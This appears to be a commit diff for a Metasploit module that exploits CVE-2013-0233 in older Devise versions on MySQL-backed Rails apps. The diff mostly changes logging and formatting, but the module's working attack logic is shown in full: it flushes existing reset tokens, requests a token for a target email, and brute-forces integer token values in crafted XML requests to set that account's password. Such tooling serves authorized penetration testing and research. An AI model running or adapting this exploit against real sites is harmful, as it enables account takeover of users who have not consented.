@@ -26,75 +26,72 @@ def initialize(info = {})
26
26
but these may require adjustment for implementations which customize them.
27
27
28
28
Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
29
- except PostgreSQL or SQLite3.
30
-
31
- Tested w/ v2.2.2, 2.1.2, and 2.0.4.
29
+ except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4.
32
30
} ,
33
31
'Author' =>
34
32
[
35
33
'joernchen' , #original discovery and disclosure
36
- 'jjarmoc' , #metasploit module
34
+ 'jjarmoc' #metasploit module
37
35
] ,
38
36
'License' => MSF_LICENSE ,
39
37
'References' =>
40
38
[
41
39
[ 'CVE' , '2013-0233' ] ,
40
+ [ 'OSVDB' , '89642' ] ,
41
+ [ 'BID' , '57577' ] ,
42
42
[ 'URL' , 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/' ] ,
43
- [ 'URL' , 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html' ] ,
43
+ [ 'URL' , 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html' ]
44
44
] ,
45
45
'DisclosureDate' => 'Jan 28 2013'
46
46
) )
47
47
48
48
register_options (
49
49
[
50
- OptString . new ( 'TARGETURI' , [ true , " The request URI" , '/users/password' ] ) ,
51
- OptString . new ( 'TARGETEMAIL' , [ true , " The email address of target account" ] ) ,
50
+ OptString . new ( 'TARGETURI' , [ true , ' The request URI' , '/users/password' ] ) ,
51
+ OptString . new ( 'TARGETEMAIL' , [ true , ' The email address of target account' ] ) ,
52
52
OptString . new ( 'PASSWORD' , [ true , 'The password to set' ] ) ,
53
53
OptBool . new ( 'FLUSHTOKENS' , [ true , 'Flush existing reset tokens before trying' , true ] ) ,
54
- OptInt . new ( 'MAXINT' , [ true , " Max integer to try (tokens begining with a higher int will fail)" , 10 ] )
54
+ OptInt . new ( 'MAXINT' , [ true , ' Max integer to try (tokens begining with a higher int will fail)' , 10 ] )
55
55
] , self . class )
56
56
end
57
57
58
58
def generate_token ( account )
59
59
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
60
60
61
- print_status ( "Generating reset token for #{ account } " )
62
-
63
61
postdata = "user[email]=#{ account } "
64
62
65
63
res = send_request_cgi ( {
66
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] ) ,
67
- 'method' => 'POST' ,
68
- 'data' => postdata ,
69
- } )
64
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] ) ,
65
+ 'method' => 'POST' ,
66
+ 'data' => postdata ,
67
+ } )
70
68
71
- unless ( res )
69
+ unless res
72
70
print_error ( "No response from server" )
73
71
return false
74
72
end
75
73
76
74
if res . code == 200
77
75
error_text = res . body [ /<div id=\" error_explanation\" >\n \s +(.*?)<\/ div>/m , 1 ]
78
- print_error ( "Server returned an error: " )
79
- print_error ( error_text )
76
+ print_error ( "Server returned error" )
77
+ vprint_error ( error_text )
80
78
return false
81
79
end
80
+
82
81
return true
83
82
end
84
83
85
84
def clear_tokens ( )
86
- print_status ( "Clearing existing tokens" )
87
85
count = 0
88
86
status = true
89
87
until ( status == false ) do
90
88
status = reset_one ( Rex ::Text . rand_text_alpha ( rand ( 10 ) + 5 ) )
91
89
count += 1 if status
92
90
end
93
- print_status ( "Cleared #{ count } tokens" )
91
+ vprint_status ( "Cleared #{ count } tokens" )
94
92
end
95
93
96
94
def reset_one ( password , report = false )
97
- print_status ( "Resetting password to \" #{ password } \" " ) if report
98
95
99
96
( 0 ..datastore [ 'MAXINT' ] ) . each { |int_to_try |
100
97
encode_pass = REXML ::Text . new ( password ) . to_s
@@ -112,7 +109,8 @@ def reset_one(password, report=false)
112
109
'ctype' => 'application/xml' ,
113
110
'data' => xml ,
114
111
} )
115
- unless ( res )
112
+
113
+ unless res
116
114
print_error ( "No response from server" )
117
115
return false
118
116
end
@@ -123,8 +121,8 @@ def reset_one(password, report=false)
123
121
# May need to tweak this for some apps...
124
122
error_text = res . body [ /<div id=\" error_explanation\" >\n \s +(.*?)<\/ div>/m , 1 ]
125
123
if ( report ) && ( error_text !~ /token/ )
126
- print_error ( "Server returned an error: " )
127
- print_error ( error_text )
124
+ print_error ( "Server returned error" )
125
+ vprint_error ( error_text )
128
126
return false
129
127
end
130
128
when 302
@@ -136,27 +134,29 @@ def reset_one(password, report=false)
136
134
end
137
135
}
138
136
139
- print_error ( "No active reset tokens below #{ datastore [ 'MAXINT' ] } remain.
140
- Try a higher MAXINT." ) if report
137
+ print_error ( "No active reset tokens below #{ datastore [ 'MAXINT' ] } remain. Try a higher MAXINT." ) if report
141
138
return false
142
139
143
140
end
144
141
145
142
def run
146
143
# Clear outstanding reset tokens, helps ensure we hit the intended account.
144
+ print_status ( "Clearing existing tokens..." )
147
145
clear_tokens ( ) if datastore [ 'FLUSHTOKENS' ]
148
146
149
147
# Generate a token for our account
148
+ print_status ( "Generating reset token for #{ datastore [ 'TARGETEMAIL' ] } ..." )
150
149
status = generate_token ( datastore [ 'TARGETEMAIL' ] )
151
150
if status == false
152
- print_error ( "Failed" )
151
+ print_error ( "Failed to generate reset token " )
153
152
return
154
153
end
155
- print_good ( "Success " )
154
+ print_good ( "Reset token generated successfully " )
156
155
157
156
# Reset a password. We're racing users creating other reset tokens.
158
157
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
158
+ print_status ( "Resetting password to \" #{ datastore [ 'PASSWORD' ] } \" ..." )
159
159
status = reset_one ( datastore [ 'PASSWORD' ] , true )
160
- status ? print_good ( "Success " ) : print_error ( "Failed" )
160
+ status ? print_good ( "Password reset worked successfully " ) : print_error ( "Failed to reset password " )
161
161
end
162
162
end
0 commit comments